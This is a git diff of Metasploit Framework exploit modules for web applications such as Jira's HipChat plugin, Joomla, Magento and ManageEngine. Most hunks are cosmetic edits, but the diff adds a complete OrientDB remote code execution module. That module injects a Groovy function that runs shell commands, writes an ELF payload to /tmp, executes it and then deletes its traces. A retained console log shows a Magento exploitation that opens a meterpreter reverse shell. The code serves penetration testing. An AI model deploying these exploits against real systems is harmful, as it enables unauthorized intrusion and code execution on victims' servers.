'Name' => "Atlassian HipChat for Jira Plugin Velocity Template Injection", 'Description' => %q{ Atlassian Hipchat is a web service for internal instant messaging. A plugin is available - for Jira that allows team collibration at real time. A message can be used to inject Java - code into a Velocity template, and gain code exeuction as Jira. Authentication is required + for Jira that allows team collaboration at real time. A message can be used to inject Java + code into a Velocity template, and gain code execution as Jira. Authentication is required to exploit this vulnerability, and you must make sure the account you're using isn't protected by captcha. By default, Java payload will be used because it is cross-platform, but you can also specify which native payload you want (Linux or Windows). @@ -193,38 +193,8 @@ class MetasploitModule < Msf::Exploit::Remote end - # Reports username and password to the database. - # - # @param opts [Hash] - # @option opts [String] :user - # @option opts [String] :password - # - # @return [void] - def report_cred(opts) - service_data = { - address: rhost, - port: rport, - service_name: ssl ? 'https' : 'http', - protocol: 'tcp', - workspace_id: myworkspace_id - } - - credential_data = { - module_fullname: fullname, - post_reference_name: self.refname, - private_data: opts[:password], - origin_type: :service, - private_type: :password, - username: opts[:user] - }.merge(service_data) - - login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::SUCCESSFUL, - last_attempted_at: Time.now - }.merge(service_data) - - create_credential_login(login_data) + def service_details + super.merge({ post_reference_name: self.refname }) end @@ -269,10 +239,7 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NoAccess, 'Incorrect username or password') end - report_cred( - user: jira_username, - password: jira_password - ) + store_valid_credential(user: jira_username, private: jira_password, proof: cookie) # expands to store cookie cookie end @@ -638,5 +605,4 @@ class MetasploitModule < Msf::Exploit::Remote def print_error(msg='') super("#{peer} - #{msg}") end - end diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 14613383f2..7c2effef87 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class MetasploitModule < Msf::Exploit::Remote Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5. By storing user supplied headers in the databases session table it's possible to truncate the input by sending an UTF-8 character. The custom created payload is then executed once the session is read - from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. + from the database. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13. In later versions the deserialisation of invalid session data stops on the first error and the exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and 5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1. diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index 9af3b3e4e9..f166ce5bef 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb index 877613d384..f6ac1d489e 100644 --- a/modules/exploits/multi/http/lcms_php_exec.rb +++ b/modules/exploits/multi/http/lcms_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -132,5 +132,4 @@ class MetasploitModule < Msf::Exploit::Remote rescue ::Timeout::Error, ::Errno::EPIPE end end - end diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 52e2bc9b07..1664d7fc07 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/magento_unserialize.rb b/modules/exploits/multi/http/magento_unserialize.rb index 9398230a7b..fef3cd1224 100644 --- a/modules/exploits/multi/http/magento_unserialize.rb +++ b/modules/exploits/multi/http/magento_unserialize.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -395,11 +395,10 @@ class MetasploitModule < Msf::Exploit::Remote end end end - end =begin -saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc +saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc [*] Processing scripts/sam.rc for ERB directives. resource (scripts/sam.rc)> use exploit/multi/http/magento_unserialize resource (scripts/sam.rc)> set payload php/meterpreter/reverse_tcp @@ -413,7 +412,7 @@ LPORT => 6666 resource (scripts/sam.rc)> check [*] 192.168.100.13:80 The target appears to be vulnerable. resource (scripts/sam.rc)> exploit -[*] Started reverse TCP handler on 192.168.100.2:6666 +[*] Started reverse TCP handler on 192.168.100.2:6666 [+] generated a guest cart id [+] backdoor done! [*] Sending stage (33721 bytes) to 192.168.100.13 diff --git a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb index 15b067aea8..4677e47077 100644 --- a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb +++ b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -138,7 +138,7 @@ class MetasploitModule < Msf::Exploit::Remote def exploit @my_target = pick_target if @my_target.nil? - fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.") + fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed") else print_status("Selected target #{@my_target.name}") end diff --git a/modules/exploits/multi/http/manageengine_auth_upload.rb b/modules/exploits/multi/http/manageengine_auth_upload.rb index b11c91dfa6..89dd9e9495 100644 --- a/modules/exploits/multi/http/manageengine_auth_upload.rb +++ b/modules/exploits/multi/http/manageengine_auth_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote For IT360 targets, enter the RPORT of the ServiceDesk instance (usually 8400). All versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this - module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been + module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been tested successfully in Windows and Linux on several versions. }, 'Author' => @@ -411,7 +411,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Uploading EAR file...") res = send_multipart_request(cookie, ear_file_name, ear_file.pack) if res && res.code == 200 - print_status("Upload appears to have been successful") + print_good("Upload appears to have been successful") else fail_with(Failure::Unknown, "#{peer} - EAR upload failed") end diff --git a/modules/exploits/multi/http/manageengine_sd_uploader.rb b/modules/exploits/multi/http/manageengine_sd_uploader.rb index 78c5ecfaf0..3945544962 100644 --- a/modules/exploits/multi/http/manageengine_sd_uploader.rb +++ b/modules/exploits/multi/http/manageengine_sd_uploader.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -114,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote }) if res && res.code == 200 - print_status("Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + + print_good("Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + " seconds for deployment") register_files_for_cleanup(jboss_path.gsub('../../','../') + "/null/" + ear_file_name) register_files_for_cleanup("Attachments/null/" + rand_file) diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb index c4c547d4c1..c184c9d5d2 100644 --- a/modules/exploits/multi/http/manageengine_search_sqli.rb +++ b/modules/exploits/multi/http/manageengine_search_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/mantisbt_php_exec.rb b/modules/exploits/multi/http/mantisbt_php_exec.rb index 6abf33fece..58eeafc47d 100644 --- a/modules/exploits/multi/http/mantisbt_php_exec.rb +++ b/modules/exploits/multi/http/mantisbt_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb b/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb index b35a1d0bc3..aa4e75f44a 100644 --- a/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb +++ b/modules/exploits/multi/http/mediawiki_syntaxhighlight.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/mediawiki_thumb.rb b/modules/exploits/multi/http/mediawiki_thumb.rb index 790f24100f..bebc6eff52 100644 --- a/modules/exploits/multi/http/mediawiki_thumb.rb +++ b/modules/exploits/multi/http/mediawiki_thumb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'MediaWiki Thumb.php Remote Command Execution', 'Description' => %q{ MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11, - when DjVu or PDF file upload support is enabled, allows remote unauthenticated + when DjVu or PDF file upload support is enabled, allows remote unauthenticated users to execute arbitrary commands via shell metacharacters. If no target file is specified this module will attempt to log in with the provided credentials to upload a file (.DjVu) to use for exploitation. @@ -333,7 +333,7 @@ class MetasploitModule < Msf::Exploit::Remote if r && r.code == 404 && r.body =~ /not exist/ print_error("File: #{file_name} does not exist.") elsif r - print_error("Received response #{r.code}, exploit probably failed.") + print_error("Received response #{r.code}, exploit probably failed") end end diff --git a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb index d4dfa0e7d5..0f715c7e70 100644 --- a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb +++ b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -306,5 +306,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb b/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb index 867b8cb94a..92908389c1 100644 --- a/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb +++ b/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -279,5 +279,4 @@ class MetasploitModule < Msf::Exploit::Remote handler end - end diff --git a/modules/exploits/multi/http/mma_backdoor_upload.rb b/modules/exploits/multi/http/mma_backdoor_upload.rb index 4f2de68a09..dd8a16a4a7 100644 --- a/modules/exploits/multi/http/mma_backdoor_upload.rb +++ b/modules/exploits/multi/http/mma_backdoor_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index 25f1428ba5..d3539a0755 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index 5e9eb5ffa8..3fb8ee13b3 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 379977f4ad..daaebfc86b 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -19,7 +19,7 @@ class MetasploitModule < Msf::Exploit::Remote 1. This script may be invoked remotely without requiring authentication to any MT instance. 2. Through a crafted POST request, it is possible to invoke particular - database migration functions (i.e functions that bring the existing + database migration functions (i.e. functions that bring the existing database up-to-date with an updated codebase) by name and with particular parameters. 3. A particular migration function, core_drop_meta_for_table, allows diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index 44e773ffaf..d32bd69a1a 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -192,7 +192,7 @@ class MetasploitModule < Msf::Exploit::Remote }) if res and res.code == 302 and res.headers['Location'] =~ /index.do/ and res.get_cookies =~ /JSESSIONID=(.*);/ - print_good("Login successful") + print_good("Login Successful") session = $1 else fail_with(Failure::NoAccess, "#{peer} - Unable to login in Mutiny") diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb index 24de8316a2..6420bd3f15 100644 --- a/modules/exploits/multi/http/nas4free_php_exec.rb +++ b/modules/exploits/multi/http/nas4free_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 65010451a9..8a27134de9 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb index 0dae318301..4e1dfa9d03 100644 --- a/modules/exploits/multi/http/nibbleblog_file_upload.rb +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://www.metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote info, 'Name' => 'Nibbleblog File Upload Vulnerability', 'Description' => %q{ - Nibbleblog contains a flaw that allows a authenticated remote + Nibbleblog contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. This module was tested on version 4.0.3. }, diff --git a/modules/exploits/multi/http/novell_servicedesk_rce.rb b/modules/exploits/multi/http/novell_servicedesk_rce.rb index 4cee032efb..5beec26301 100644 --- a/modules/exploits/multi/http/novell_servicedesk_rce.rb +++ b/modules/exploits/multi/http/novell_servicedesk_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb index 808e1e0095..3c10f02adb 100644 --- a/modules/exploits/multi/http/op5_license.rb +++ b/modules/exploits/multi/http/op5_license.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb index 141f4b26e9..ab346156b4 100644 --- a/modules/exploits/multi/http/op5_welcome.rb +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index c7c4ac5640..0c34e32a29 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb index 4d0167f21b..f02ae13f40 100644 --- a/modules/exploits/multi/http/openmediavault_cmd_exec.rb +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'OpenMediaVault Cron Remote Command Execution', 'Description' => %q{ - OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system. + OpenMediaVault allows an authenticated user to create cron jobs as arbitrary users on the system. An attacker can abuse this to run arbitrary commands as any user available on the system (including root). }, 'License' => MSF_LICENSE, @@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote }) if !resp or resp.code != 200 - fail_with(Failure::UnexpectedReply, "Posting cron failed.") + fail_with(Failure::UnexpectedReply, "Posting cron failed") end print_status("Waiting for connect-back, this will take up to a minute") diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index e8ea0bf8b7..532d584bd8 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -94,5 +94,4 @@ class MetasploitModule < Msf::Exploit::Remote def rot13(str) str.tr! "A-Za-z", "N-ZA-Mn-za-m" end - end diff --git a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb index ee3b4657fe..434039a7a6 100644 --- a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb +++ b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -115,7 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote # The server either returns a 500 error or a 200 OK when the upload is successful. if res and (res.code == 500 or res.code == 200) - print_status("Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + + print_good("Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + " seconds for deployment") sleep(datastore['SLEEP']) else diff --git a/modules/exploits/multi/http/oracle_ats_file_upload.rb b/modules/exploits/multi/http/oracle_ats_file_upload.rb index 73c7ddc001..4c9f7f8c41 100644 --- a/modules/exploits/multi/http/oracle_ats_file_upload.rb +++ b/modules/exploits/multi/http/oracle_ats_file_upload.rb @@ -1,10 +1,9 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -111,5 +110,4 @@ class MetasploitModule < Msf::Exploit::Remote def jsp_path jsp_directory + "#{target['Platform'] == 'win' ? '\\' : '/'}" + jsp_filename end - end diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb index 7b965bf232..77614ef7c2 100644 --- a/modules/exploits/multi/http/oracle_reports_rce.rb +++ b/modules/exploits/multi/http/oracle_reports_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote used to write a shell from a remote url to a known local path disclosed from the previous vulnerability. - The local path being accessable from an URL allows an attacker to perform the remote code + The local path being accessible from an URL allows an attacker to perform the remote code execution using, for example, a .jsp shell. This module was tested successfully on Windows and Oracle Forms and Reports 10.1. @@ -136,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Remote @local_path = $1 print_status "Path: #{@local_path }" else - print_status "Query failed" + print_error "Query failed" fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable") end else @@ -192,7 +192,7 @@ class MetasploitModule < Msf::Exploit::Remote if res and res.code == 200 print_good "Payload hopefully uploaded!" else - print_status "Payload upload failed" + print_error "Payload upload failed" end end @@ -262,7 +262,7 @@ class MetasploitModule < Msf::Exploit::Remote if res and res.code == 200 print_good("Payload executed!") else - print_status("Payload execution failed") + print_error("Payload execution failed") end end end diff --git a/modules/exploits/multi/http/orientdb_exec.rb b/modules/exploits/multi/http/orientdb_exec.rb new file mode 100644 index 0000000000..c7c4530984 --- /dev/null +++ b/modules/exploits/multi/http/orientdb_exec.rb @@ -0,0 +1,257 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OrientDB 2.2.x Remote Code Execution', + 'Description' => %q{ + This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands. + All versions from 2.2.2 up to 2.2.22 should be vulnerable. + }, + 'Author' => + [ + 'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC + 'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'], + ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'], + ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017'] + ], + 'Platform' => %w{ linux unix win }, + 'Privileged' => false, + 'Targets' => + [ + ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], + ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}], + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}] + ], + 'DisclosureDate' => 'Jul 13 2017', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(2480), + OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]), + OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]), + OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ]) + ]) + end + + def check + uri = target_uri + uri.path = normalize_uri(uri.path) + res = send_request_raw({'uri' => "#{uri.path}listDatabases"}) + if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./ + print_good("Version: #{res.headers['Server']}") + return Exploit::CheckCode::Vulnerable + else + print_status("Version: #{res.headers['Server']}") + return Exploit::CheckCode::Safe + end + end + + def http_send_command(cmd, opts = {}) + # 1 -Create the malicious function + func_name = Rex::Text::rand_text_alpha(5).downcase + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' }, + 'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}" + } + res = send_request_raw(request_parameters) + if not (res and res.code == 201) + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to create the malicious function.') + return + end + end + # 2 - Trigger the malicious function + request_parameters = { + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' }, + 'data' => "" + } + req = send_request_raw(request_parameters) + if not (req and req.code == 200) + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to trigger the malicious function.') + return + end + end + # 3 - Get the malicious function id + if res && res.body.length > 0 + begin + json_body = JSON.parse(res.body)["@rid"] + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.') + return + end + end + func_id = json_body.slice(1..-1) + # 4 - Delete the malicious function + request_parameters = { + 'method' => 'DELETE', + 'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'headers' => { 'Accept' => '*/*' }, + 'data' => "" + } + rer = send_request_raw(request_parameters) + if not (rer and rer.code == 204) + begin + json_body = JSON.parse(res.body) + rescue JSON::ParserError + fail_with(Failure::Unknown, 'Failed to delete the malicious function.') + return + end + end + end + + def java_craft_runtime_exec(cmd) + decoder = Rex::Text.rand_text_alpha(5, 8) + decoded_bytes = Rex::Text.rand_text_alpha(5, 8) + cmd_array = Rex::Text.rand_text_alpha(5, 8) + jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" + jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" + jcode << "String [] #{cmd_array} = new String[3];\n" + if target['Platform'] == 'win' + jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" + jcode << "#{cmd_array}[1] = \"/c\";\n" + else + jcode << "#{cmd_array}[0] = \"/bin/sh\";\n" + jcode << "#{cmd_array}[1] = \"-c\";\n" + end + jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" + jcode << "Runtime.getRuntime().exec(#{cmd_array});\n" + jcode + end + + def on_new_session(client) + if not @to_delete.nil? + print_warning("Deleting #{@to_delete} payload file") + execute_command("rm #{@to_delete}") + end + end + + def execute_command(cmd, opts = {}) + vprint_status("Attempting to execute: #{cmd}") + @uri = target_uri + @uri.path = normalize_uri(@uri.path) + res = send_request_raw({'uri' => "#{@uri.path}listDatabases"}) + if res && res.code == 200 && res.body.length > 0 + begin + json_body = JSON.parse(res.body)["databases"] + rescue JSON::ParserError + print_error("Unable to parse JSON") + return + end + else + print_error("Timeout or unexpected response...") + return + end + targetdb = json_body[0] + http_send_command(cmd,targetdb) + end + + def linux_stager + cmds = "echo LINE | tee FILE" + exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + base64 = Rex::Text.encode_base64(exe) + base64.gsub!(/\=/, "\\u003d") + file = rand_text_alphanumeric(4+rand(4)) + execute_command("touch /tmp/#{file}.b64") + cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + base64.each_line do |line| + line.chomp! + cmd = cmds + cmd.gsub!(/LINE/, line) + execute_command(cmds) + end + execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") + execute_command("chmod +x /tmp/#{file}") + execute_command("rm /tmp/#{file}.b64") + execute_command("/tmp/#{file}") + @to_delete = "/tmp/#{file}" + end + + def exploit + @uri = target_uri + @uri.path = normalize_uri(@uri.path) + res = send_request_raw({'uri' => "#{@uri.path}listDatabases"}) + if res && res.code == 200 && res.body.length > 0 + begin + json_body = JSON.parse(res.body)["databases"] + rescue JSON::ParserError + print_error("Unable to parse JSON") + return + end + else + print_error("Timeout or unexpected response...") + return + end + 